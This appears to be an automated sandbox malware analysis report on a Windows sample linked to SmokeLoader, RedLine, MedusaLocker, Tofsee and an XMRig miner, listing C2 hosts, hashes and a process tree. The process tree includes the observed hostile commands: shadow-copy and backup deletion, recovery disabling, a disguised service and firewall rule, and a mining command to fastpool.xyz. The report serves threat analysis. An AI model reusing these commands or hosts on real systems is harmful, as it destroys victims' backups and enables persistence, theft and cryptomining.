Overview

overview

10

Static

static

dridex

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    21/09/2021, 00:15

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Report Analysis Logs

General

  • Target

    1e0e3879e487148a78b2e291389f4d4267ec043af2df0797d6c68a96525aa4ff.exe

  • Size

    215KB

  • MD5

    59c9d0e1d3cc76c8f93017de90802ec8

  • SHA1

    75e3d8c45c778b540e2cad15168ad6053b1c3b95

  • SHA256

    1e0e3879e487148a78b2e291389f4d4267ec043af2df0797d6c68a96525aa4ff

  • SHA512

    1a9f63009d94fad0a20bc6023f706a07ca9b075033d4b24c050268717c9e430c127c71ab135d3f64a008db4eca48a2174a70ffb4a28972f3b5ee462970bf23ee

Score
10/10
medusalockerraccoonredlinesmokeloadertofseexmriginstallexekhrip1kbackdoordiscoveryevasioninfostealerminerpersistenceransomwarespywarestealerthemidatrojan

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://venerynnet1.top/

http://kevonahira2.top/

http://vegangelist3.top/

http://kingriffaele4.top/

http://arakeishant5.top/
rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

installEXE

C2

146.70.35.170:30905

Extracted

Family

redline

Botnet

khrip1k

C2

91.142.77.155:5469

Signatures

  • MedusaLocker

    Ransomware with several variants first seen in September 2019.

    ransomwaremedusalocker
  • MedusaLocker Payload 1 IoCs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 5 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Deletes System State backups 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Downloads MZ/PE file
  • Drops file in Drivers directory 12 IoCs
  • Executes dropped EXE 12 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Modifies extensions of user files 23 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 5 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 40 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 64 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 49 IoCs
  • Drops file in Windows directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Interacts with shadow copies 2 TTPs 13 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies data under HKEY_USERS 10 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\1e0e3879e487148a78b2e291389f4d4267ec043af2df0797d6c68a96525aa4ff.exe
    "C:\Users\Admin\AppData\Local\Temp\1e0e3879e487148a78b2e291389f4d4267ec043af2df0797d6c68a96525aa4ff.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2524
    • C:\Users\Admin\AppData\Local\Temp\1e0e3879e487148a78b2e291389f4d4267ec043af2df0797d6c68a96525aa4ff.exe
      "C:\Users\Admin\AppData\Local\Temp\1e0e3879e487148a78b2e291389f4d4267ec043af2df0797d6c68a96525aa4ff.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2708
  • C:\Users\Admin\AppData\Local\Temp\F34F.exe
    C:\Users\Admin\AppData\Local\Temp\F34F.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3516
    • C:\Users\Admin\AppData\Local\Temp\F34F.exe
      C:\Users\Admin\AppData\Local\Temp\F34F.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:2324
  • C:\Users\Admin\AppData\Local\Temp\FA93.exe
    C:\Users\Admin\AppData\Local\Temp\FA93.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3964
    • C:\Users\Admin\AppData\Local\Temp\FA93.exe
      C:\Users\Admin\AppData\Local\Temp\FA93.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4072
  • C:\Users\Admin\AppData\Local\Temp\5CF.exe
    C:\Users\Admin\AppData\Local\Temp\5CF.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:656
  • C:\Users\Admin\AppData\Local\Temp\6333.exe
    C:\Users\Admin\AppData\Local\Temp\6333.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2676
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tqmqqxgq\
      2⤵
        PID:440
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gwwwlcia.exe" C:\Windows\SysWOW64\tqmqqxgq\
        2⤵
          PID:3584
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tqmqqxgq binPath= "C:\Windows\SysWOW64\tqmqqxgq\gwwwlcia.exe /d\"C:\Users\Admin\AppData\Local\Temp\6333.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3796
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description tqmqqxgq "wifi internet conection"
            2⤵
              PID:1792
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start tqmqqxgq
              2⤵
                PID:2304
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:4004
              • C:\Users\Admin\AppData\Local\Temp\7014.exe
                C:\Users\Admin\AppData\Local\Temp\7014.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:2704
              • C:\Users\Admin\AppData\Local\Temp\7F77.exe
                C:\Users\Admin\AppData\Local\Temp\7F77.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:3376
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\7F77.exe"
                  2⤵
                  • Enumerates connected drives
                  PID:2128
                  • C:\Windows\SysWOW64\timeout.exe
                    timeout /T 10 /NOBREAK
                    3⤵
                    • Delays execution with timeout.exe
                    PID:2624
              • C:\Windows\SysWOW64\tqmqqxgq\gwwwlcia.exe
                C:\Windows\SysWOW64\tqmqqxgq\gwwwlcia.exe /d"C:\Users\Admin\AppData\Local\Temp\6333.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:768
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:2584
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                      PID:3608
                • C:\Users\Admin\AppData\Local\Temp\A59E.exe
                  C:\Users\Admin\AppData\Local\Temp\A59E.exe
                  1⤵
                  • Drops file in Drivers directory
                  • Executes dropped EXE
                  • Modifies extensions of user files
                  • Adds Run key to start application
                  • Drops desktop.ini file(s)
                  • Enumerates connected drives
                  • Drops file in System32 directory
                  • Drops file in Program Files directory
                  • Drops file in Windows directory
                  • Suspicious use of WriteProcessMemory
                  • System policy modification
                  PID:3976
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=401MB
                    2⤵
                    • Interacts with shadow copies
                    PID:3684
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=unbounded
                    2⤵
                    • Interacts with shadow copies
                    PID:1572
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=401MB
                    2⤵
                    • Interacts with shadow copies
                    PID:2128
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=unbounded
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:3960
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=401MB
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:1184
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=unbounded
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:280
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=401MB
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:3880
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=unbounded
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:3856
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=401MB
                    2⤵
                    • Interacts with shadow copies
                    PID:2568
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=unbounded
                    2⤵
                    • Interacts with shadow copies
                    PID:828
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=401MB
                    2⤵
                    • Interacts with shadow copies
                    PID:3944
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=unbounded
                    2⤵
                    • Interacts with shadow copies
                    PID:1868
                  • C:\Windows\SYSTEM32\vssadmin.exe
                    vssadmin.exe Delete Shadows /All /Quiet
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:2568
                  • C:\Windows\SYSTEM32\bcdedit.exe
                    bcdedit.exe /set {default} recoveryenabled No
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    • Enumerates connected drives
                    PID:828
                  • C:\Windows\SYSTEM32\bcdedit.exe
                    bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:1492
                    • C:\Windows\System32\Conhost.exe
                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      3⤵
                      • Enumerates connected drives
                      PID:3944
                  • C:\Windows\SYSTEM32\wbadmin.exe
                    wbadmin DELETE SYSTEMSTATEBACKUP
                    2⤵
                    • Deletes System State backups
                    • Drops file in Windows directory
                    PID:2944
                  • C:\Windows\SYSTEM32\wbadmin.exe
                    wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
                    2⤵
                    • Deletes System State backups
                    • Drops file in Windows directory
                    PID:4088
                  • C:\Windows\System32\Wbem\wmic.exe
                    wmic.exe SHADOWCOPY /nointeractive
                    2⤵
                      PID:1212
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\AppData\Local\Temp\A59E.exe >> NUL
                      2⤵
                        PID:3880
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                        PID:924
                      • C:\Users\Admin\AppData\Local\Temp\B2FC.exe
                        C:\Users\Admin\AppData\Local\Temp\B2FC.exe
                        1⤵
                        • Executes dropped EXE
                        PID:1284
                      • C:\Users\Admin\AppData\Local\Temp\BC54.exe
                        C:\Users\Admin\AppData\Local\Temp\BC54.exe
                        1⤵
                        • Executes dropped EXE
                        PID:276

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • memory/276-270-0x0000000000400000-0x0000000000503000-memory.dmp

                        Filesize

                        1.0MB

                        Download

                      • memory/276-269-0x0000000002060000-0x00000000020F0000-memory.dmp

                        Filesize

                        576KB

                        Download

                      • memory/656-138-0x0000000000150000-0x0000000000151000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/656-142-0x0000000005230000-0x0000000005231000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/656-156-0x00000000050B0000-0x00000000050B1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/656-153-0x00000000051A0000-0x00000000051A1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/656-150-0x0000000005160000-0x0000000005161000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/656-174-0x0000000007690000-0x0000000007691000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/656-155-0x00000000779D0000-0x0000000077B5E000-memory.dmp

                        Filesize

                        1.6MB

                        Download

                      • memory/656-141-0x0000000005100000-0x0000000005101000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/656-140-0x00000000056D0000-0x00000000056D1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/656-168-0x0000000006DC0000-0x0000000006DC1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/768-217-0x0000000000400000-0x00000000004C1000-memory.dmp

                        Filesize

                        772KB

                        Download

                      • memory/1284-251-0x0000000000400000-0x0000000000467000-memory.dmp

                        Filesize

                        412KB

                        Download

                      • memory/1284-255-0x0000000004BB4000-0x0000000004BB6000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/1284-254-0x0000000004BB3000-0x0000000004BB4000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/1284-253-0x0000000004BB2000-0x0000000004BB3000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/1284-252-0x0000000004BB0000-0x0000000004BB1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/1284-250-0x0000000000470000-0x000000000051E000-memory.dmp

                        Filesize

                        696KB

                        Download

                      • memory/1284-248-0x0000000006FF0000-0x0000000006FF1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/1284-242-0x0000000002490000-0x00000000024AE000-memory.dmp

                        Filesize

                        120KB

                        Download

                      • memory/1284-236-0x00000000006A0000-0x00000000006BF000-memory.dmp

                        Filesize

                        124KB

                        Download

                      • memory/2524-117-0x0000000000520000-0x00000000005CE000-memory.dmp

                        Filesize

                        696KB

                        Download

                      • memory/2584-213-0x0000000000580000-0x0000000000595000-memory.dmp

                        Filesize

                        84KB

                        Download

                      • memory/2676-192-0x0000000000400000-0x00000000004C1000-memory.dmp

                        Filesize

                        772KB

                        Download

                      • memory/2676-191-0x0000000001FA0000-0x0000000001FB3000-memory.dmp

                        Filesize

                        76KB

                        Download

                      • memory/2704-189-0x0000000005350000-0x0000000005351000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2704-182-0x0000000000150000-0x0000000000151000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2704-190-0x00000000053B0000-0x00000000053B1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/2704-184-0x00000000779D0000-0x0000000077B5E000-memory.dmp

                        Filesize

                        1.6MB

                        Download

                      • memory/2708-115-0x0000000000400000-0x0000000000408000-memory.dmp

                        Filesize

                        32KB

                        Download

                      • memory/3036-159-0x0000000000A20000-0x0000000000A35000-memory.dmp

                        Filesize

                        84KB

                        Download

                      • memory/3036-118-0x0000000000570000-0x0000000000585000-memory.dmp

                        Filesize

                        84KB

                        Download

                      • memory/3376-204-0x0000000006580000-0x000000000A65F000-memory.dmp

                        Filesize

                        64.9MB

                        Download

                      • memory/3376-205-0x0000000000400000-0x0000000004605000-memory.dmp

                        Filesize

                        66.0MB

                        Download

                      • memory/3516-136-0x00000000001E0000-0x00000000001E9000-memory.dmp

                        Filesize

                        36KB

                        Download

                      • memory/3608-272-0x0000000000840000-0x0000000000931000-memory.dmp

                        Filesize

                        964KB

                        Download

                      • memory/3964-125-0x0000000000CA0000-0x0000000000CA1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/3964-127-0x0000000005520000-0x0000000005521000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/3964-130-0x00000000056A0000-0x00000000056A1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/3964-128-0x0000000002F30000-0x0000000002F31000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/3964-129-0x0000000005BB0000-0x0000000005BB1000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/3976-223-0x00007FF77EC20000-0x00007FF77F498000-memory.dmp

                        Filesize

                        8.5MB

                        Download

                      • memory/4072-160-0x0000000007270000-0x0000000007271000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/4072-164-0x0000000007440000-0x0000000007441000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/4072-162-0x0000000007970000-0x0000000007971000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/4072-157-0x0000000005750000-0x0000000005D56000-memory.dmp

                        Filesize

                        6.0MB

                        Download

                      • memory/4072-143-0x0000000000400000-0x0000000000422000-memory.dmp

                        Filesize

                        136KB

                        Download